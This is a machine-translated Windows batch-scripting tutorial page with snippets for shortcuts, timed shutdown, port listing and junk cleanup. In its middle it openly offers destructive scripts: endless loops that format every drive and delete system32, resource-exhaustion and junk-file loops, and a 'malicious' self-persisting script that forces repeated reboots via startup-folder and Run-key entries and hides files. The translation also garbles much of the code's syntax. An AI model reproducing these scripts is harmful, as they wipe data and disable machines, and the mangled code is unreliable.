Batch Processing instance code tutorial
--------------------------------------------------------------------------------
Batch Processing Program deletes itself. bat
Echo sometimes we need to delete the batch processing program after the execution is complete. You can use del % 0
Example:
Copy codeThe Code is as follows: @ echo off
Echo will delete itself after pressing any key
Pause
Del % 0
--------------------------------------------------------------------------------
Batch send folder shortcut to desktopCopy codeThe Code is as follows: echo [InternetShortcut]> "% userprofile % \ Desktop \ Folder. url"
Echo URL = file: // C:/windows> "% userprofile % \ Desktop \ Folder. url"
--------------------------------------------------------------------------------
Obtain the IP address in batch to generate TXT text. bat
Run the following code to generate TXT text when obtaining an IP address through batch processing:Copy codeThe Code is as follows: @ echo off
<"% ~ F0 "more + 5> tmp. vbs
Cscript // NoLogo/e: vbscript tmp. vbs % 1> ip.txt
Echo> nul & del tmp. vbs
Goto: eof
Set oDOM = WScript. GetObject ("http://www.duosc.com/ip.aspx ")
Do until oDOM. readyState = "complete"
WScript. sleep 200
Loop
S=oDOM.doc umentElement. innerText
Set re = New RegExp
Re. Pattern = "(\ d +) \. (\ d + )"
For Each m in re. Execute (s)
WScript. Echo m
Next
--------------------------------------------------------------------------------
Disable (enable) group policy using batch processing
Regsvr32/s/u gpedit. dll disabled
Regsvr32/s gpedit. dll Enabled
You can still disable group policies by using this command, but the consequence is-
At this time, the running group policy is basically an empty shell! The following batch processing will perfectly solve such problems!
Compile the following code into a BAT batch file. This is the command to disable the Group Policy.Copy codeThe Code is as follows: @ echo off
Regsvr32/s/u fde. dll
Regsvr32/s/u gpedit. dll
Regsvr32/s/u gptext. dll
Regsvr32/s/u wsecedit. dll
Exit
This is to enable the Group PolicyCopy codeThe Code is as follows: @ echo off
Regsvr32/s fde. dll
Regsvr32/s gpedit. dll
Regsvr32/s gptext. dll
Regsvr32/s wsecedit. dll
Exit
--------------------------------------------------------------------------------
Batch Processing Timed Shutdown. batCopy codeThe Code is as follows: @ echo off
Mode con lines = 25
Title Timed Shutdown
Color 1f
Cls
Echo.
Echo.
Echo.
Echo.
The echo time is in 24-hour format (for example, or). You can enter multiple time points.
Echo.
Multiple echo time points are separated by Spaces
Echo.
Echo.
Echo was too busy to handle too many issues, too many issues were reported.
Echo.
Set times =
Set/p times = enter the shutdown time:
: The following statement shutdown at the specified time of each day of a week
: If you want to change to a certain day of each month, change the letter to a number and separate them with commas.
: The following Code does not have an error detection statement. You must enter the time according to the specified format.
: You can use the at command in the CMD window to view scheduled tasks.
If not "% times %" = "" for % I in (% times %) do (
At % I/every: M, T, W, Th, F, S, Su shutdown-s
)
--------------------------------------------------------------------------------
Quick Method for creating URLs in batches. batCopy codeThe Code is as follows: @ echo off
Echo [InternetShortcut]> cmd. url
Echo URL = % windir % \ system32 \ cmd.exe> cmd. url
Echo IconIndex = 0> cmd. url
Echo IconFile = % windir % \ system32 \ cmd.exe> cmd. url
--------------------------------------------------------------------------------
Batch Processing enters the full screen interface. batCopy codeThe Code is as follows: @ echo off
: Set: Run in full screen mode
Echo exit | % ComSpec %/k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $ _ g $ _ q $ _ | debug> nul
Chcp 437> nul
Graftabl 936> nul
: Put any commands under rem ......
Dir
Pause
--------------------------------------------------------------------------------
Minimize execution of batch processing. batCopy codeThe Code is as follows: Minimize the number of running batches
@ Echo off & mode con cols = 15 lines = 1
% 1% 2
Start/min/I "" % ~ Nx0 "goto min & goto: eof
: Min
Echo xxx
Pause> nul
Exit
@ Echo off
Mode con cols = 15 lines = 1
If exist "Temp. bat" goto Start
> Temp. bat echo start/min "" % ~ Nx0 "^ & exit
Start/min Temp. bat & exit
: Start
Del "Temp. bat"> nul
Pause
--------------------------------------------------------------------------------
Search for qq.exe on the full disk and execute. bat.Copy codeThe Code is as follows: @ echo off
: Find qq.exe on the full disk, find it, and then execute and exit the CMD window.
: Fsutil fsinfo drives. Although there are spaces in the result, it indicates that it is a carriage return or line break. Therefore, you must use find/v to filter the result. Otherwise, only the first partition is obtained.
Setlocal enabledelayedexpansion
For/f "delims = \" % I in ('fsutil fsinfo drives ^ | find/v "" ') do (
Set var = % I
Set drive =! Var :~ -2!
Fsutil fsinfo drivetype! Drive! | Find "fixed"> nul &&(
For/f "tokens = *" % j in ('dir/a-d/B/s! Drive! \ Qq.exe 2 ^> nul ') do if not "% j" = "" start "" % j "& exit
)
)
--------------------------------------------------------------------------------
Delete history. batCopy codeThe Code is as follows: @ echo off
: Delete historical records of "run", "Search", etc.
Reg add HKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer/v ClearRecentDocsonExit/t REG_DWORD/d 00000001
--------------------------------------------------------------------------------
Batch view process Port
Obtain the port Code enabled by the current process through batch processing:Copy codeThe Code is as follows: @ echo off
Color
Title XP port-process query
Setlocal enabledelayedexpansion
Echo audio-extract
Echo Port opened on the local machine and processes using the port
Echo audio-extract
Echo ------------------------------------
Echo Port Number process name
Echo tcp protocol:
: Use the netstat command to find the port for TCP communication and split the result;
: Pass the second parameter (IP plus port) to % I, and the fifth parameter (PID) to % j;
For/F "usebackq skip = 4 tokens = 2, 5" % I in ('"netstat-ano-p TCP"') do (
Call: Assoc % I TCP % j
Echo! TCP_Port! ! TCP_Proc_Name!
)
Echo udp protocol:
For/F "usebackq skip = 4 tokens = 2, 4" % I in ('"netstat-ano-p UDP"') do (
Call: Assoc % I UDP % j
Echo! UDP_Port! ! UDP_Proc_Name!
)
Echo press any key to exit
Pause> nul
: Assoc
: Divide % 1 (the first parameter) and pass the second parameter to % e. In this program, % 1 is the above % I (Form: IP: port number)
For/F "tokens = 2 delims =:" % e in ("% 1") do (
Set % 2_Port = % e
)
: Query the process whose PID is equal to % 3 (the third parameter) and pass the result to the variable? _ Proc_Name ,? Indicates UDP or TCP;
For/F "skip = 2 usebackq delims =, tokens = 1" % a in ('"Tasklist/FI" PID eq % 3 "/fo csv"') do (
: % ~ A indicates that the quotation marks outside % a are removed because the results of the preceding command are enclosed in parentheses.
Set % 2_Proc_Name = % ~ A
)
--------------------------------------------------------------------------------
Destroy BAT batch processing script [Use with caution]
1. Force format A: to Z: Hard Disk in an endless loop (for some machines with relatively fast speed, they will be faster on the machine ......)Copy codeThe Code is as follows: format
@ Format a:/q/y> nul
@ Format B:/q/y> nul
@ Format d:/q/y> nul
@ Format e:/q/y> nul
@ Format f:/q/y> nul
@ Format g:/q/y> nul
@ Format h:/q/y> nul
@ Format I:/q/y> nul
@ Format j:/q/y> nul
@ Format k:/q/y> nul
@ Format l:/q/y> nul
@ Format m:/q/y> nul
@ Format n:/q/y> nul
@ Format o:/q/y> nul
@ Format p:/q/y> nul
@ Format q:/q/y> nul
@ Format r:/q/y> nul
@ Format s:/q/y> nul
@ Format t:/q/y> nul
@ Format u:/q/y> nul
@ Format v:/q/y> nul
@ Format w:/q/y> nul
@ Format x:/q/y> nul
@ Format y:/q/y> nul
@ Format z:/q/y> nul
@ Format c:/q/y> nul
Goto format
Ii. Force delete in an endless loop C: All files in the WINDOWS directory of the disk (the effect is similar to the one shown above, but the force Delete parameter is used here)Copy codeThe Code is as follows: breake
@ If exist % windir % \ system32 \ *. * del % windir % \ system32 \ *. *> nul
@ If exist % windir % \ *. * del % windir % \ *. *> nul
Goto breake
Iii. Use the memory usage of some system tools to killCopy codeThe Code is as follows: die
@ Start regsvr32.exe/s % windir % \ system32 \ *. *> nul
@ Start % windir % \ system32 \ *. *> nul
@ Start notepad % windir % \ assumer.exe> nul
Goto die
4. Use the detection information export function of some tools to generate huge junk files (although the garbage generation speed is very slow, it is similar to the "Garbage King" virus, it can be regarded as "Silent ......)Copy codeThe Code is as follows: @ start ping 127.0.0.1-t> % windir % \ system32 \ regsvr32.dll> nul
: Ping
@ Start ping 127.0.0.1-t> % windir % \ system32 \ regsvr32.dll> nul
@ Start ping 127.0.0.1-t> % windir % \ system32 \ regedit.exe> nul
Goto ping
--------------------------------------------------------------------------------
Malicious batch processing with repeated restart
Repeated restart is to let others start and restart repeatedly. The following codeCopy codeThe Code is as follows: @ echo off
Shutdown-r-t 3
Copy % 0 C: \ Documents ents "" and "" Settings \ All "" Users \ "start" Menu \ Program \ Start \ a. bat
Copy % 0 c: \ autoexec. bat
Reg add HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run/v autoexec. bat/t REG_SZ/d c: \ autoexec. bat/f
Reg add HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Run/v autoexec. bat/t REG_SZ/d c: \ autoexec. bat/f
Attrib autoexec. bat + r + s + h
Reg add HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ explorer \ Advanced \ Folder \ Hidden \ SHOWALL/v CheckedValue/t REG_DWORD/d 00000000/f
Del % 0
3 seconds to restart. After the startup Item is added, the countdown will take 3 seconds.
--------------------------------------------------------------------------------
Right-click "new" and choose "bat" from the shortcut menu.Copy codeThe Code is as follows: @ echo off
: You only need to delete the "ShellNew" key under the "HKEY_CLASSERS_ROORT \. Extension" project.
: If it cannot be deleted, delete "HKEY_CLASSERS_ROORT \. suffix ".
Mode con lines = 25
Title "new" menu content deleteer
Color 1f
: Input
Cls
Call: display
Echo select 1 if you want to forcibly Delete
Echo.
Echo.
Set input =
Set/p input = enter the Suffix:
If "% input %" = "" goto input
If "% input %" = "0" exit
If "% input %" = "1" goto fouce
For/f % I in ("% input %") do (reg delete HKCR \. % I \ ShellNew/f)
Goto continue
: Fouce
Cls
Call: display
Set input =
Set/p input = enter the suffix (Force delete ):
If "% input %" = "" goto fouce
If "% input %" = "0" exit
For/f % I in ("% input %") do (reg delete HKCR \. % I/f)
: Continue
Cls
Call: display
Echo.
Set choice =
Set/p choice = Do You Want To Continue clearing? (Y/n ):
If "% choice %" = "" goto continue
If "% choice %" = "y" goto input
If "% choice %" = "" goto: eof
: Display
Echo.
Echo.
Echo.
Echo.
Echo.
Echo.
Echo this program can delete unnecessary content under the "new" project in the right-click menu, to "new" menu to lose weight!
Echo.
Echo
Echo.
Echo: Enter the suffix of the file type. For example, rar.
Echo.
Select 0 if echo exits.
Echo.
--------------------------------------------------------------------------------
Fast cleanup of junk files (Correction)Copy codeThe Code is as follows: @ echo off
Color f0
Echo.
Echo is automatically clearing junk files safely ......
Del/f/q % systemdrive % \ *. tmp> nul 2> nul
Del/f/q % systemdrive % \ *. _ mp> nul 2> nul
Del/f/q % systemdrive % \ *. log> nul 2> nul
Del/f/q % systemdrive % \ *. gid> nul 2> nul
Del/f/q % systemdrive % \ *. chk> nul 2> nul
Del/f/q % systemdrive % \ *. old> nul 2> nul
Del/f/q % windir % \ *. bak> nul 2> nul
Del/f/q % windir % \ *. tmp> nul 2> nul
Del/f/q % windir % \ prefetch \ *. *> nul 2> nul
Del/f/s/q % systemdrive % \ recycled \*.*
Del/f/q "% ALLUSERSPROFILE % \ Documents \ DrWatson \ *. *"> nul 2> nul
Del/f/q "% USERPROFILE % \ Cookies \ *. txt"> nul 2> nul
Del/f/q/s "% TEMP % \ *. *"> nul 2> nul
Del/f/q/s "% Systemroot % \ Prefetch \ *. *"> nul 2> nul
Del/f/q "% USERPROFILE % \ Recent \ *. *"> nul 2> nul
Del/f/q "% USERPROFILE % \ Application Data \ Microsoft \ Office \ Recent \ *. lnk"> nul 2> nul
Del/f/q/s "% USERPROFILE % \ Local Settings \ Temp \ *. *"> nul 2> nul
Rd/s/q % windir % \ temp & md % windir % \ temp> nul 2> nul
If not exist % SystemRoot % \ Minidump \ NUL del/f/q/s % SystemRoot % \ Minidump \ *. *> nul 2> nul
Del/f/s/q "% userprofile % \ Local Settings \ Temporary Internet Files \ *. *"> nul 2> nul
More batch code packaging http://www.jb51.net/books/34318.html